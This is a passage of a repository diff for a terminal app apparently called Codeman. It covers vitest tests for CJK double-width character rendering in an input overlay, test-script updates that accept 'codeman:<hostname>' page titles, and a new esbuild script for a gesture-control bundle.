lines: ['你好世', '界再见'],
startCol: 0,
totalCols: 6,
cellW: 10,
})
);
const line1 = container.children[0] as HTMLDivElement;
expect(line1.children.length).toBe(3);
const line2 = container.children[1] as HTMLDivElement;
expect(line2.children.length).toBe(3);
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 6: Existing ASCII input is unaffected
// ═══════════════════════════════════════════════════════════════════════
describe('Test 6: ASCII input — no regression', () => {
it('ASCII characters still get 1-cell-wide spans', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abcdef'], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
for (const span of spans) {
expect(span.width).toBe(10); // 1 * cellW
}
});
it('ASCII span positions are sequential at 1-cell intervals', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['xyz'], cellW: 8.4 }));
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans[0].left).toBe(0);
expect(spans[1].left).toBeCloseTo(8.4, 5);
expect(spans[2].left).toBeCloseTo(16.8, 5);
});
it('ASCII cursor positions at correct column', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['hello'],
startCol: 3,
cellW: 10,
showCursor: true,
})
);
// cursor at startCol(3) + 5 = 8
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('80px');
});
it('charCellWidth returns 1 for all printable ASCII', () => {
for (let code = 32; code < 127; code++) {
const ch = String.fromCharCode(code);
expect(charCellWidth(null, ch)).toBe(1);
}
});
it('stringCellWidth equals length for pure ASCII', () => {
expect(stringCellWidth(null, 'hello world')).toBe(11);
expect(stringCellWidth(null, 'test123!@#')).toBe(10);
expect(stringCellWidth(null, '')).toBe(0);
});
it('ASCII multi-line wrapping is unaffected', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['abcde', 'fgh'],
startCol: 5,
totalCols: 10,
cellW: 10,
cellH: 20,
})
);
expect(container.children.length).toBe(3); // 2 lines + cursor
const line1 = container.children[0] as HTMLDivElement;
const line2 = container.children[1] as HTMLDivElement;
expect(line1.children.length).toBe(5);
expect(line2.children.length).toBe(3);
expect(line1.style.left).toBe('50px'); // startCol * cellW
expect(line2.style.left).toBe('0px');
});
it('addon addChar/removeChar/clear work for ASCII', () => {
const { addon } = tracked();
addon.addChar('h');
addon.addChar('e');
addon.addChar('l');
addon.addChar('l');
addon.addChar('o');
expect(addon.pendingText).toBe('hello');
addon.removeChar();
expect(addon.pendingText).toBe('hell');
addon.clear();
expect(addon.pendingText).toBe('');
expect(addon.hasPending).toBe(false);
});
});
// ═══════════════════════════════════════════════════════════════════════
// TEST 7: Teammate terminal panels render CJK correctly
//
// Teammate panels share the global xterm-zerolag-input.js vendor bundle
// (loaded via <script> in index.html). This is the IIFE build of the
// same package source tested in tests 1-6. The build pipeline is:
// src/overlay-renderer.ts → tsup → dist/index.global.js → vendor copy
//
// Since all terminals (main + teammate) use the same LocalEchoOverlay
// class from the global scope, CJK correctness is guaranteed by:
// (a) The package source handles CJK correctly (tests 1-6 above)
// (b) The IIFE build bundles the exact same charCellWidth / makeLine code
//
// These tests verify the exported module includes CJK-aware functions
// and that teammate-style terminal instances work identically.
// ═══════════════════════════════════════════════════════════════════════
describe('Test 7: Teammate terminal panels render CJK correctly', () => {
it('package exports charCellWidth and stringCellWidth', () => {
// These are the CJK-aware functions that the IIFE build exposes
expect(typeof charCellWidth).toBe('function');
expect(typeof stringCellWidth).toBe('function');
});
it('ZerolagInputAddon (used by LocalEchoOverlay) handles CJK in teammate terminals', () => {
// Simulate a teammate terminal panel: separate terminal instance,
// same addon class, different prompt character
const mock = createMockTerminal({
buffer: { lines: ['❯ '] },
cols: 40,
});
const addon = new ZerolagInputAddon({
prompt: { type: 'character', char: '❯', offset: 2 },
});
mock.terminal.loadAddon(addon);
cleanups.push(() => {
addon.dispose();
mock.cleanup();
});
// Type CJK in teammate terminal
for (const ch of '你好世界') {
addon.addChar(ch);
}
expect(addon.pendingText).toBe('你好世界');
expect(addon.hasPending).toBe(true);
});
it('teammate terminal with narrow width wraps CJK correctly', () => {
// Teammate panels are often narrower (sidebar, split view)
const mock = createMockTerminal({
buffer: { lines: ['❯ '] },
cols: 12, // narrow panel
});
const addon = new ZerolagInputAddon({
prompt: { type: 'character', char: '❯', offset: 2 },
});
mock.terminal.loadAddon(addon);
cleanups.push(() => {
addon.dispose();
mock.cleanup();
});
// Type 6 CJK chars (12 visual cols) with startCol=2 → only 10 available
// First line: 5 CJK = 10 cols. 6th wraps.
for (const ch of '你好世界再见') {
addon.addChar(ch);
}
expect(addon.pendingText).toBe('你好世界再见');
});
it('mixed CJK scripts render identically in teammate and main terminals', () => {
// Verify that the same input produces the same overlay output
// regardless of which terminal instance it's on
const text = '你好こんにちは안녕';
// "Main" terminal
const container1 = document.createElement('div');
renderOverlay(container1, makeParams({ lines: [text], cellW: 10 }));
const line1 = container1.children[0] as HTMLDivElement;
const spans1 = getSpans(line1);
// "Teammate" terminal (same params — same bundle)
const container2 = document.createElement('div');
renderOverlay(container2, makeParams({ lines: [text], cellW: 10 }));
const line2 = container2.children[0] as HTMLDivElement;
const spans2 = getSpans(line2);
// Identical rendering
expect(spans1.length).toBe(spans2.length);
for (let i = 0; i < spans1.length; i++) {
expect(spans1[i]).toEqual(spans2[i]);
}
});
it('CJK rendering correct in overlay with teammate-typical prompt (❯)', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['こんにちは世界'],
startCol: 2, // after ❯ prompt
cellW: 10,
showCursor: true,
})
);
const lineDiv = container.children[0] as HTMLDivElement;
const spans = getSpans(lineDiv);
expect(spans.length).toBe(7);
// All CJK, all double-width, contiguous
let expectedLeft = 0;
for (const span of spans) {
expect(span.left).toBe(expectedLeft);
expect(span.width).toBe(20);
expectedLeft += 20;
}
// Cursor position: startCol(2) + 14 visual cols = 16
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('160px');
});
});
@@ -1,300 +1,420 @@
import { describe, it, expect } from 'vitest';
import { renderOverlay } from '../src/overlay-renderer.js';
import { renderOverlay, charCellWidth, stringCellWidth } from '../src/overlay-renderer.js';
import type { RenderParams, FontStyle } from '../src/types.js';
const FONT: FontStyle = {
fontFamily: 'monospace',
fontSize: '14px',
fontWeight: 'normal',
color: '#eeeeee',
backgroundColor: '#0d0d0d',
letterSpacing: '',
fontFamily: 'monospace',
fontSize: '14px',
fontWeight: 'normal',
color: '#eeeeee',
backgroundColor: '#0d0d0d',
letterSpacing: '',
};
function makeParams(overrides: Partial<RenderParams> = {}): RenderParams {
return {
lines: ['hello'],
startCol: 2,
totalCols: 80,
cellW: 8.4,
cellH: 17,
charTop: 2,
charHeight: 14,
promptRow: 10,
font: FONT,
showCursor: true,
cursorColor: '#e0e0e0',
...overrides,
};
return {
lines: ['hello'],
startCol: 2,
totalCols: 80,
cellW: 8.4,
cellH: 17,
charTop: 2,
charHeight: 14,
promptRow: 10,
font: FONT,
showCursor: true,
cursorColor: '#e0e0e0',
...overrides,
};
}
describe('renderOverlay', () => {
it('positions container at prompt row', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ promptRow: 5 }));
expect(container.style.top).toBe((5 * 17) + 'px');
expect(container.style.left).toBe('0px');
});
it('positions container at prompt row', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ promptRow: 5 }));
expect(container.style.top).toBe(5 * 17 + 'px');
expect(container.style.left).toBe('0px');
});
it('creates per-character spans in a line div', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'] }));
it('creates per-character spans in a line div', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'] }));
// Line div + cursor span
expect(container.children.length).toBe(2);
// Line div + cursor span
expect(container.children.length).toBe(2);
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(3); // a, b, c
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(3); // a, b, c
const spanA = lineDiv.children[0] as HTMLSpanElement;
expect(spanA.textContent).toBe('a');
expect(spanA.style.left).toBe('0px');
const spanA = lineDiv.children[0] as HTMLSpanElement;
expect(spanA.textContent).toBe('a');
expect(spanA.style.left).toBe('0px');
const spanB = lineDiv.children[1] as HTMLSpanElement;
expect(spanB.textContent).toBe('b');
expect(spanB.style.left).toBe('8.4px');
const spanB = lineDiv.children[1] as HTMLSpanElement;
expect(spanB.textContent).toBe('b');
expect(spanB.style.left).toBe('8.4px');
const spanC = lineDiv.children[2] as HTMLSpanElement;
expect(spanC.textContent).toBe('c');
expect(spanC.style.left).toBe('16.8px');
});
const spanC = lineDiv.children[2] as HTMLSpanElement;
expect(spanC.textContent).toBe('c');
expect(spanC.style.left).toBe('16.8px');
});
it('sets span width to cellW', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['x'], cellW: 9.5 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.width).toBe('9.5px');
});
it('sets span width to cellW', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['x'], cellW: 9.5 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.width).toBe('9.5px');
});
it('applies font styles to spans', () => {
const font: FontStyle = {
fontFamily: 'Fira Code',
fontSize: '16px',
fontWeight: 'bold',
color: '#ff0000',
backgroundColor: '#000000',
letterSpacing: '0.5px',
};
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['A'], font }));
it('applies font styles to spans', () => {
const font: FontStyle = {
fontFamily: 'Fira Code',
fontSize: '16px',
fontWeight: 'bold',
color: '#ff0000',
backgroundColor: '#000000',
letterSpacing: '0.5px',
};
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['A'], font }));
const lineDiv = container.children[0] as HTMLDivElement;
// jsdom normalizes hex to rgb()
expect(lineDiv.style.backgroundColor).toBe('rgb(0, 0, 0)');
const lineDiv = container.children[0] as HTMLDivElement;
// jsdom normalizes hex to rgb()
expect(lineDiv.style.backgroundColor).toBe('rgb(0, 0, 0)');
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.fontFamily).toBe('Fira Code');
expect(span.style.fontSize).toBe('16px');
expect(span.style.fontWeight).toBe('bold');
expect(span.style.color).toBe('rgb(255, 0, 0)');
expect(span.style.letterSpacing).toBe('0.5px');
});
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.fontFamily).toBe('Fira Code');
expect(span.style.fontSize).toBe('16px');
expect(span.style.fontWeight).toBe('bold');
expect(span.style.color).toBe('rgb(255, 0, 0)');
expect(span.style.letterSpacing).toBe('0.5px');
});
it('offsets first line by startCol', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['hi'], startCol: 5, cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
// First line left = startCol * cellW
expect(lineDiv.style.left).toBe('50px');
});
it('offsets first line by startCol', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['hi'], startCol: 5, cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
// First line left = startCol * cellW
expect(lineDiv.style.left).toBe('50px');
});
it('renders cursor at end of text', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({
lines: ['ab'],
startCol: 3,
cellW: 10,
cellH: 20,
showCursor: true,
cursorColor: '#ff00ff',
}));
it('renders cursor at end of text', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['ab'],
startCol: 3,
cellW: 10,
cellH: 20,
showCursor: true,
cursorColor: '#ff00ff',
})
);
// Last child is cursor (after line div)
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
// cursorCol = startCol(3) + text.length(2) = 5
expect(cursor.style.left).toBe('50px');
expect(cursor.style.width).toBe('10px');
expect(cursor.style.height).toBe('20px');
// jsdom normalizes hex to rgb()
expect(cursor.style.backgroundColor).toBe('rgb(255, 0, 255)');
});
// Last child is cursor (after line div)
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
// cursorCol = startCol(3) + text.length(2) = 5
expect(cursor.style.left).toBe('50px');
expect(cursor.style.width).toBe('10px');
expect(cursor.style.height).toBe('20px');
// jsdom normalizes hex to rgb()
expect(cursor.style.backgroundColor).toBe('rgb(255, 0, 255)');
});
it('does not render cursor when showCursor is false', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['ab'], showCursor: false }));
// Only line div, no cursor
expect(container.children.length).toBe(1);
});
it('does not render cursor when showCursor is false', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['ab'], showCursor: false }));
// Only line div, no cursor
expect(container.children.length).toBe(1);
});
it('renders multi-line text', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({
lines: ['first', 'second'],
startCol: 5,
cellW: 10,
cellH: 20,
}));
it('renders multi-line text', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['first', 'second'],
startCol: 5,
cellW: 10,
cellH: 20,
})
);
// 2 line divs + cursor
expect(container.children.length).toBe(3);
// 2 line divs + cursor
expect(container.children.length).toBe(3);
const line1 = container.children[0] as HTMLDivElement;
expect(line1.style.left).toBe('50px'); // startCol * cellW
expect(line1.style.top).toBe('0px');
expect(line1.children.length).toBe(5); // 'first'
const line1 = container.children[0] as HTMLDivElement;
expect(line1.style.left).toBe('50px'); // startCol * cellW
expect(line1.style.top).toBe('0px');
expect(line1.children.length).toBe(5); // 'first'
const line2 = container.children[1] as HTMLDivElement;
expect(line2.style.left).toBe('0px'); // wrapped lines start at col 0
expect(line2.style.top).toBe('20px'); // second row
expect(line2.children.length).toBe(6); // 'second'
});
const line2 = container.children[1] as HTMLDivElement;
expect(line2.style.left).toBe('0px'); // wrapped lines start at col 0
expect(line2.style.top).toBe('20px'); // second row
expect(line2.children.length).toBe(6); // 'second'
});
it('clears previous content on re-render', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'] }));
expect(container.children.length).toBe(2); // line + cursor
it('clears previous content on re-render', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'] }));
expect(container.children.length).toBe(2); // line + cursor
renderOverlay(container, makeParams({ lines: ['xy'] }));
expect(container.children.length).toBe(2); // line + cursor (rebuilt)
renderOverlay(container, makeParams({ lines: ['xy'] }));
expect(container.children.length).toBe(2); // line + cursor (rebuilt)
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(2); // x, y
});
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(2); // x, y
});
it('shows container (display not none)', () => {
const container = document.createElement('div');
container.style.display = 'none';
renderOverlay(container, makeParams());
expect(container.style.display).toBe('');
});
it('shows container (display not none)', () => {
const container = document.createElement('div');
container.style.display = 'none';
renderOverlay(container, makeParams());
expect(container.style.display).toBe('');
});
// ─── Anti-flicker / compositing seam tests ────────────────────
// ─── Anti-flicker / compositing seam tests ────────────────────
it('line div height extends 1px past cellH to cover compositing seam', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
// cellH + 1 = 20px — the extra 1px covers the compositing seam
expect(lineDiv.style.height).toBe('20px');
});
it('line div height extends 1px past cellH to cover compositing seam', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['abc'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
// cellH + 1 = 20px — the extra 1px covers the compositing seam
expect(lineDiv.style.height).toBe('20px');
});
it('line div height is cellH+1 for various cell heights', () => {
for (const cellH of [15, 17, 19, 22]) {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['x'], cellH }));
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.style.height).toBe((cellH + 1) + 'px');
}
});
it('line div height is cellH+1 for various cell heights', () => {
for (const cellH of [15, 17, 19, 22]) {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['x'], cellH }));
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.style.height).toBe(cellH + 1 + 'px');
}
});
it('multi-line overlay has cellH+1 height on each line div', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({
lines: ['first', 'second'],
cellH: 19,
}));
const line1 = container.children[0] as HTMLDivElement;
const line2 = container.children[1] as HTMLDivElement;
expect(line1.style.height).toBe('20px');
expect(line2.style.height).toBe('20px');
});
it('multi-line overlay has cellH+1 height on each line div', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['first', 'second'],
cellH: 19,
})
);
const line1 = container.children[0] as HTMLDivElement;
const line2 = container.children[1] as HTMLDivElement;
expect(line1.style.height).toBe('20px');
expect(line2.style.height).toBe('20px');
});
// ─── Span vertical centering tests ────────────────────────────
// ─── Span vertical centering tests ────────────────────────────
it('span uses full cellH for height and lineHeight (CSS centering)', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.height).toBe('19px');
expect(span.style.lineHeight).toBe('19px');
});
it('span uses full cellH for height and lineHeight (CSS centering)', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.height).toBe('19px');
expect(span.style.lineHeight).toBe('19px');
});
it('span top is 0px (no vertical offset / no transform)', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.top).toBe('0px');
// No translateY transform — sub-pixel overhang causes artifacts
expect(span.style.transform).toBe('');
});
it('span top is 0px (no vertical offset / no transform)', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'], cellH: 19 }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.top).toBe('0px');
// No translateY transform — sub-pixel overhang causes artifacts
expect(span.style.transform).toBe('');
});
// ─── Font rendering tests ─────────────────────────────────────
// ─── Font rendering tests ─────────────────────────────────────
it('span disables ligatures via font-feature-settings', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['fi'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
// Check cssText includes the ligature-disabling settings
// jsdom may normalize whitespace; check that both liga and calt are disabled
expect(span.style.cssText).toContain("font-feature-settings:");
expect(span.style.cssText).toContain("'liga' 0");
expect(span.style.cssText).toContain("'calt' 0");
});
it('span disables ligatures via font-feature-settings', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['fi'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
// Check cssText includes the ligature-disabling settings
// jsdom may normalize whitespace; check that both liga and calt are disabled
expect(span.style.cssText).toContain('font-feature-settings:');
expect(span.style.cssText).toContain("'liga' 0");
expect(span.style.cssText).toContain("'calt' 0");
});
it('span has text-align: center for glyph centering', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['m'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.textAlign).toBe('center');
});
it('span has text-align: center for glyph centering', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['m'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.textAlign).toBe('center');
});
it('span has pointer-events: none', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.pointerEvents).toBe('none');
});
it('span has pointer-events: none', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a'] }));
const lineDiv = container.children[0] as HTMLDivElement;
const span = lineDiv.children[0] as HTMLSpanElement;
expect(span.style.pointerEvents).toBe('none');
});
// ─── Multi-line cursor positioning ────────────────────────────
// ─── Multi-line cursor positioning ────────────────────────────
it('cursor on wrapped line uses col 0 as base', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({
lines: ['first', 'ab'],
startCol: 5,
cellW: 10,
cellH: 20,
showCursor: true,
}));
// Cursor at end of second line: col = 0 + 2 = 2
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('20px'); // 2 * 10
expect(cursor.style.top).toBe('20px'); // row 1 * cellH
});
it('cursor on wrapped line uses col 0 as base', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['first', 'ab'],
startCol: 5,
cellW: 10,
cellH: 20,
showCursor: true,
})
);
// Cursor at end of second line: col = 0 + 2 = 2
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('20px'); // 2 * 10
expect(cursor.style.top).toBe('20px'); // row 1 * cellH
});
// ─── charTop/charHeight passed through ────────────────────────
// ─── charTop/charHeight passed through ────────────────────────
it('accepts charTop and charHeight params without error', () => {
const container = document.createElement('div');
expect(() => renderOverlay(container, makeParams({
lines: ['test'],
charTop: 2,
charHeight: 14,
}))).not.toThrow();
expect(container.children.length).toBeGreaterThan(0);
});
it('accepts charTop and charHeight params without error', () => {
const container = document.createElement('div');
expect(() =>
renderOverlay(
container,
makeParams({
lines: ['test'],
charTop: 2,
charHeight: 14,
})
)
).not.toThrow();
expect(container.children.length).toBeGreaterThan(0);
});
// ─── Line div positioning regression ──────────────────────────
// ─── Line div positioning regression ──────────────────────────
it('line div background color matches font.backgroundColor', () => {
const container = document.createElement('div');
const font: FontStyle = { ...FONT, backgroundColor: '#1a1a1a' };
renderOverlay(container, makeParams({ lines: ['x'], font }));
const lineDiv = container.children[0] as HTMLDivElement;
// jsdom normalizes hex to rgb()
expect(lineDiv.style.backgroundColor).toBe('rgb(26, 26, 26)');
});
it('line div background color matches font.backgroundColor', () => {
const container = document.createElement('div');
const font: FontStyle = { ...FONT, backgroundColor: '#1a1a1a' };
renderOverlay(container, makeParams({ lines: ['x'], font }));
const lineDiv = container.children[0] as HTMLDivElement;
// jsdom normalizes hex to rgb()
expect(lineDiv.style.backgroundColor).toBe('rgb(26, 26, 26)');
});
it('empty line produces line div with no spans', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: [''] }));
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(0);
});
it('empty line produces line div with no spans', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: [''] }));
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(0);
});
// ─── CJK wide character support ───────────────────────────────
it('CJK characters get double-width spans', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['a你b'], cellW: 10 }));
const lineDiv = container.children[0] as HTMLDivElement;
expect(lineDiv.children.length).toBe(3);
const spanA = lineDiv.children[0] as HTMLSpanElement;
expect(spanA.textContent).toBe('a');
expect(spanA.style.left).toBe('0px');
expect(spanA.style.width).toBe('10px'); // 1 cell
const spanCJK = lineDiv.children[1] as HTMLSpanElement;
expect(spanCJK.textContent).toBe('你');
expect(spanCJK.style.left).toBe('10px'); // col 1
expect(spanCJK.style.width).toBe('20px'); // 2 cells
const spanB = lineDiv.children[2] as HTMLSpanElement;
expect(spanB.textContent).toBe('b');
expect(spanB.style.left).toBe('30px'); // col 3
expect(spanB.style.width).toBe('10px'); // 1 cell
});
it('cursor position accounts for CJK width', () => {
const container = document.createElement('div');
renderOverlay(
container,
makeParams({
lines: ['你好'],
startCol: 2,
cellW: 10,
showCursor: true,
})
);
// 你(2) + 好(2) = 4 visual cols, cursor at startCol(2) + 4 = 6
const cursor = container.children[container.children.length - 1] as HTMLSpanElement;
expect(cursor.style.left).toBe('60px');
});
it('mixed ASCII and CJK characters position correctly', () => {
const container = document.createElement('div');
renderOverlay(container, makeParams({ lines: ['hi你'], cellW: 8 }));
const lineDiv = container.children[0] as HTMLDivElement;
// h(col 0), i(col 1), 你(col 2, width 2)
const spanH = lineDiv.children[0] as HTMLSpanElement;
expect(spanH.style.left).toBe('0px');
const spanI = lineDiv.children[1] as HTMLSpanElement;
expect(spanI.style.left).toBe('8px');
const spanCJK = lineDiv.children[2] as HTMLSpanElement;
expect(spanCJK.style.left).toBe('16px');
expect(spanCJK.style.width).toBe('16px');
});
});
describe('charCellWidth', () => {
it('returns 1 for ASCII characters', () => {
expect(charCellWidth(null, 'a')).toBe(1);
expect(charCellWidth(null, '!')).toBe(1);
expect(charCellWidth(null, ' ')).toBe(1);
});
it('returns 2 for CJK ideographs', () => {
expect(charCellWidth(null, '你')).toBe(2);
expect(charCellWidth(null, '好')).toBe(2);
expect(charCellWidth(null, '中')).toBe(2);
});
it('returns 2 for Japanese hiragana', () => {
expect(charCellWidth(null, 'こ')).toBe(2);
expect(charCellWidth(null, 'ん')).toBe(2);
});
it('returns 2 for Korean syllables', () => {
expect(charCellWidth(null, '안')).toBe(2);
expect(charCellWidth(null, '녕')).toBe(2);
});
it('returns 2 for fullwidth forms', () => {
expect(charCellWidth(null, '\uff01')).toBe(2); // !
expect(charCellWidth(null, '\uff21')).toBe(2); // A
});
it('uses terminal unicode addon when available', () => {
const mockTerminal = {
unicode: { getStringCellWidth: (s: string) => (s === 'W' ? 2 : 1) },
} as any;
expect(charCellWidth(mockTerminal, 'W')).toBe(2);
expect(charCellWidth(mockTerminal, 'n')).toBe(1);
});
});
describe('stringCellWidth', () => {
it('sums individual character widths', () => {
expect(stringCellWidth(null, 'abc')).toBe(3);
expect(stringCellWidth(null, '你好')).toBe(4);
expect(stringCellWidth(null, 'a你b')).toBe(4);
});
it('returns 0 for empty string', () => {
expect(stringCellWidth(null, '')).toBe(0);
});
});
File diff suppressed because it is too large Load Diff
-1
View File
@@ -1 +0,0 @@
tools/remotion/public
+8 -4
View File
@@ -19,6 +19,10 @@ const PORTS = {
const results = [];
function isCodemanTitle(title) {
return typeof title === 'string' && title.startsWith('codeman:');
}
function logSection(title) {
console.log('\n' + '='.repeat(60));
console.log(` ${title}`);
@@ -88,7 +92,7 @@ async function main() {
const page = await playwrightBrowser.newPage();
await page.goto(`http://localhost:${PORTS.playwright}`);
const title = await page.title();
if (title !== 'Codeman') throw new Error(`Expected Codeman, got ${title}`);
if (!isCodemanTitle(title)) throw new Error(`Expected codeman:<hostname>, got ${title}`);
await page.close();
});
@@ -149,7 +153,7 @@ async function main() {
const page = await puppeteerBrowser.newPage();
await page.goto(`http://localhost:${PORTS.puppeteer}`);
const title = await page.title();
if (title !== 'Codeman') throw new Error(`Expected Codeman, got ${title}`);
if (!isCodemanTitle(title)) throw new Error(`Expected codeman:<hostname>, got ${title}`);
await page.close();
});
@@ -202,7 +206,7 @@ async function main() {
agentBrowser(`open http://localhost:${PORTS.agentBrowser}`);
await new Promise(r => setTimeout(r, 2000));
const title = agentBrowserJson('get title');
agentBrowserAvailable = title.title === 'Codeman';
agentBrowserAvailable = isCodemanTitle(title.title);
console.log(' Browser launched');
// Test 1: Page load
@@ -210,7 +214,7 @@ async function main() {
agentBrowser(`open http://localhost:${PORTS.agentBrowser}`);
await new Promise(r => setTimeout(r, 1000));
const title = agentBrowserJson('get title');
if (title.title !== 'Codeman') throw new Error(`Expected Codeman, got ${title.title}`);
if (!isCodemanTitle(title.title)) throw new Error(`Expected codeman:<hostname>, got ${title.title}`);
});
// Test 2: Element selection
+52
View File
@@ -0,0 +1,52 @@
#!/usr/bin/env node
/**
* @fileoverview Build the opt-in gesture-overlay bundle from its vendored source
* in `packages/gesture-control/` into the web bundle Codeman actually serves,
* `src/web/public/gesture/gesture-codeman.js`.
*
* The source lives in this repo (workspace package `codeman-gesture-control`,
* was the standalone `Ark0N/codeman-gesture-control` repo before it was vendored
* in). `src/codeman/entry.ts` is the Codeman *consumer* entry — it imports the
* transport-agnostic gesture core (`src/gesture/*`) and maps grab/drag/drop onto
* Codeman's real session tabs + toolbar buttons. esbuild bundles it (MediaPipe
* tasks-vision JS included) into a single ESM file; the MediaPipe wasm + model
* are loaded at runtime from same-origin `/gesture/wasm` + `/gesture/*.task`
* (fetched separately by scripts/fetch-gesture-assets.mjs), NOT bundled here.
*
* Run it after editing anything under packages/gesture-control/src/ and commit
* the regenerated bundle (the committed copy is what `npm run dev` / tsx serves,
* since the web UI ships as plain JS with no bundler). `npm run build` also runs
* this so a production build always reflects the current source.
*
* Usage: node scripts/build-gesture-bundle.mjs [--out <path>]
* --out output file (default src/web/public/gesture/gesture-codeman.js)
*
* NOT minified — matches the historical bundle and keeps it debuggable; the
* build's compress step gzips/brotlis it for production anyway.
*/
import { build } from 'esbuild';
import { fileURLToPath } from 'node:url';
import { join, dirname, isAbsolute } from 'node:path';
const ROOT = join(dirname(fileURLToPath(import.meta.url)), '..');
const ENTRY = join(ROOT, 'packages/gesture-control/src/codeman/entry.ts');
const DEFAULT_OUT = join(ROOT, 'src/web/public/gesture/gesture-codeman.js');
const outArg = process.argv[process.argv.indexOf('--out') + 1];
const outfile =
process.argv.includes('--out') && outArg
? isAbsolute(outArg)
? outArg
: join(process.cwd(), outArg)
: DEFAULT_OUT;
await build({
entryPoints: [ENTRY],
bundle: true,
format: 'esm',
target: 'es2020',
outfile,
logLevel: 'info',
});
console.log(`[gesture] bundle built → ${outfile}`);
+81 -12
